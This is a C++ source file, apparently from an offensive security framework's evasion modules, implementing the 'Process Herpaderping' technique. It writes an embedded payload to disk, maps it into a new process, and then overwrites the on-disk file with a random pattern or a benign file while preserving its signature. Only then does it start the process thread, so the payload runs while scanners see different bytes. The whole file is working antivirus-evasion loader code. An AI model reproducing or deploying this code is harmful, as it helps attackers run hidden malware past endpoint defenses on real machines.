Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/herpaderp.cpp
Views: 11789
#include "pch.hpp"1#include "herpaderp.hpp"2#include "utils.hpp"34_Use_decl_annotations_5HRESULT Herpaderp::ExecuteProcess()6{7HRESULT hr;89std::wstring TargetFileName;10hr = Utils::GetFileName(Herpaderp::_TargetFileName, TargetFileName);11if (FAILED(hr))12{13REPORT_AND_RETURN_HR("Failed to retrieve the target filename", hr);14}15dprintf("Target File: \"%S\"", TargetFileName.c_str());1617DWORD sourceSize = sizeof(payload);18PBYTE ptrPayload = payload;19if (payload && sourceSize > 0)20{21dprintf("Payload size: %d (%p)", sourceSize, ptrPayload);22}2324// To create target file with exclusive access, set shareMode to 025DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);26FileHandle targetHandle(TargetFileName, TRUE);27targetHandle.get() = CreateFileW(TargetFileName.c_str(),28GENERIC_READ | GENERIC_WRITE,29shareMode,30nullptr,31CREATE_ALWAYS,32FILE_ATTRIBUTE_NORMAL,33nullptr);34if (!targetHandle.valid())35{36REPORT_AND_RETURN_WIN32("Failed to create target file", GetLastError());37}3839DWORD bytesWitten = 0;40BOOL boolRet = WriteFile(41targetHandle.get(),42ptrPayload,43sourceSize,44&bytesWitten,45nullptr46);47if (!boolRet)48{49REPORT_AND_RETURN_WIN32("Failed to copy source binary to target file", GetLastError());50}5152boolRet = SetEndOfFile(targetHandle.get());53if (!boolRet)54{55REPORT_AND_RETURN_WIN32("Failed to set EOF on target file", GetLastError());56}5758dprintf("Copied source binary to target file");5960//61// Map and create the target process. We'll make it all derpy in a moment...62//63AutoCloseHandle sectionHandle(TRUE);64auto status = NtCreateSection(§ionHandle.get(),65SECTION_ALL_ACCESS,66nullptr,67nullptr,68PAGE_READONLY,69SEC_IMAGE,70targetHandle.get());71if (!NT_SUCCESS(status))72{73REPORT_AND_RETURN_NT("Failed to create target file image section", status);74}7576dprintf("Created image section for target");7778ProcessHandle processHandle;79status = NtCreateProcessEx(&processHandle.get(),80PROCESS_ALL_ACCESS,81nullptr,82NtCurrentProcess(),83PROCESS_CREATE_FLAGS_INHERIT_HANDLES,84sectionHandle.get(),85nullptr,86nullptr,870);88if (!NT_SUCCESS(status))89{90REPORT_AND_RETURN_NT("Failed to create process", status);91}9293dprintf("Created process object, PID %lu", GetProcessId(processHandle.get()));9495//96// Alright we have the process set up, we don't need the section.97//98sectionHandle.close();99100//101// Go get the remote entry RVA to create a thread later on.102//103uint32_t imageEntryPointRva;104hr = Utils::GetImageEntryPointRva(targetHandle.get(), imageEntryPointRva);105if (FAILED(hr))106{107REPORT_AND_RETURN_HR("Failed to get target file image entry RVA", hr);108}109110dprintf("Located target image entry RVA 0x%08x", imageEntryPointRva);111112PROCESS_BASIC_INFORMATION pbi{};113status = NtQueryInformationProcess(processHandle.get(),114ProcessBasicInformation,115&pbi,116sizeof(pbi),117nullptr);118if (!NT_SUCCESS(status))119{120REPORT_AND_RETURN_NT("Failed to query new process info", status);121}122123PEB peb{};124if (!ReadProcessMemory(processHandle.get(),125pbi.PebBaseAddress,126&peb,127sizeof(peb),128nullptr))129{130REPORT_AND_RETURN_WIN32("Failed to read remote process PEB", GetLastError());131}132void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);133134//135// Herpaderp wants a pattern to use for obfuscation, set that up here.136//137std::span<const uint8_t> pattern;138std::vector<uint8_t> patternBuffer;139//140// Setup a random pattern141//142patternBuffer.resize(Herpaderp::RandPatternLen);143hr = BCryptGenRandom(nullptr,144patternBuffer.data(),145SCAST(ULONG)(patternBuffer.size()),146BCRYPT_USE_SYSTEM_PREFERRED_RNG);147if (FAILED(hr))148{149REPORT_AND_RETURN_HR("Failed to generate random buffer", hr);150}151pattern = std::span<const uint8_t>(patternBuffer);152153//154// Alright, if a file name has been provided in _ReplaceWithFileName,155// we will overwrite the target binary with it. Otherwise, we will156// overwrite the target binary with a pattern.157//158if (Utils::ShouldReplaceWithFile(Herpaderp::_ReplaceWithFileName))159{160std::wstring ReplaceWithFileName;161hr = Utils::GetFileName(Herpaderp::_ReplaceWithFileName, ReplaceWithFileName);162if (FAILED(hr))163{164REPORT_AND_RETURN_HR("Failed to retrieve the file name to replace with", hr);165}166dprintf("Replacing target with \"%S\"", ReplaceWithFileName.c_str());167168FileHandle replaceWithHandle(ReplaceWithFileName);169replaceWithHandle.get() = CreateFileW(ReplaceWithFileName.c_str(),170GENERIC_READ,171FILE_SHARE_READ |172FILE_SHARE_WRITE |173FILE_SHARE_DELETE,174nullptr,175OPEN_EXISTING,176FILE_ATTRIBUTE_NORMAL,177nullptr);178179if (!replaceWithHandle.valid())180{181REPORT_AND_RETURN_WIN32("Failed to open replace with file", GetLastError());182}183184//185// Replace the bytes. We handle a failure here. We'll fix it up after.186//187hr = Utils::CopyFileByHandle(replaceWithHandle.get(), targetHandle.get());188if (FAILED(hr))189{190if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))191{192REPORT_AND_RETURN_HR("Failed to replace target file", hr);193}194195//196// This error occurs when trying to truncate a file that has a197// user mapping open. In other words, the file we tried to replace198// with was smaller than the original.199// Let's fix up the replacement to hide the original bytes and200// retain any signer info.201//202dprintf("Fixing up target replacement, hiding original bytes and retaining any signature");203204uint64_t replaceWithSize;205hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);206if (FAILED(hr))207{208REPORT_AND_RETURN_HR("Failed to get replace with file size", hr);209}210211uint32_t bytesWritten = 0;212hr = Utils::OverwriteFileAfterWithPattern(targetHandle.get(),213replaceWithSize,214pattern,215bytesWritten);216if (FAILED(hr))217{218dprintf("Failed to hide original file bytes, %S", Utils::FormatError(hr).c_str());219}220else221{222hr = Utils::ExtendFileSecurityDirectory(targetHandle.get(), bytesWritten);223if (FAILED(hr))224{225dprintf("Failed to retain file signature, %S", Utils::FormatError(hr).c_str());226}227}228}229230replaceWithHandle.close();231}232else233{234dprintf("Overwriting target with pattern");235236hr = Utils::OverwriteFileContentsWithPattern(targetHandle.get(), pattern);237if (FAILED(hr))238{239REPORT_AND_RETURN_HR("Failed to write pattern over file", hr);240}241}242243//244// Alright, at this point the process is going to be derpy enough.245// Do the work necessary to make it execute.246//247dprintf("Preparing target for execution");248dprintf("Writing process parameters, remote PEB ProcessParameters 0x%p",249Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));250251hr = Utils::WriteRemoteProcessParameters(252processHandle.get(),253TargetFileName,254std::nullopt,255std::nullopt,256(L"\"" + TargetFileName + L"\""),257NtCurrentPeb()->ProcessParameters->Environment,258TargetFileName,259L"WinSta0\\Default",260std::nullopt,261std::nullopt);262if (FAILED(hr))263{264REPORT_AND_RETURN_HR("Failed to write remote process parameters", hr);265}266267//268// Create the initial thread, when this first thread is inserted the269// process create callback will fire in the kernel.270//271272dprintf("Creating thread in process at entry point 0x%p", remoteEntryPoint);273274AutoCloseHandle threadHandle;275status = NtCreateThreadEx(&threadHandle.get(),276THREAD_ALL_ACCESS,277nullptr,278processHandle.get(),279remoteEntryPoint,280nullptr,2810,2820,2830,2840,285nullptr);286287if (!NT_SUCCESS(status))288{289REPORT_AND_RETURN_NT("Failed to create remote thread, %S", status);290}291292dprintf("Created thread, TID %lu", GetThreadId(threadHandle.get()));293294//295// We're done with the target file handle. At this point the process296// create callback will have fired in the kernel.297//298targetHandle.close();299300//301// Wait for the process to exit.302//303dprintf("Waiting for herpaderped process to exit");304305WaitForSingleObject(processHandle.get(), INFINITE);306307processHandle.terminate() = FALSE;308309DWORD targetExitCode = 0;310GetExitCodeProcess(processHandle.get(), &targetExitCode);311312dprintf("Herpaderped process exited with code 0x%08x", targetExitCode);313314return S_OK;315}316317int WINAPI wWinMain(_In_ HINSTANCE, _In_opt_ HINSTANCE, _In_ PWSTR, _In_ int)318{319HRESULT hr;320321#ifndef _WIN64322//323// Only 32-bit version of Windows 10 is affected324// see https://bugs.chromium.org/p/project-zero/issues/detail?id=852325//326hr = Utils::IsBuggyKernel();327if (FAILED(hr))328{329REPORT_AND_RETURN_HR("Checking kernel failed", hr);330}331if (hr == S_OK)332{333hr = E_ABORT;334REPORT_AND_RETURN_HR("Kernel version on this OS is buggy and will BSOD... aborting", hr);335}336dprintf("Kernel is not one of the buggy one");337#endif338339hr = Herpaderp::ExecuteProcess();340if (FAILED(hr))341{342REPORT_AND_RETURN_HR("Process Herpaderp failed", hr);343}344345dprintf("Process Herpaderp succeeded");346return EXIT_SUCCESS;347}348349350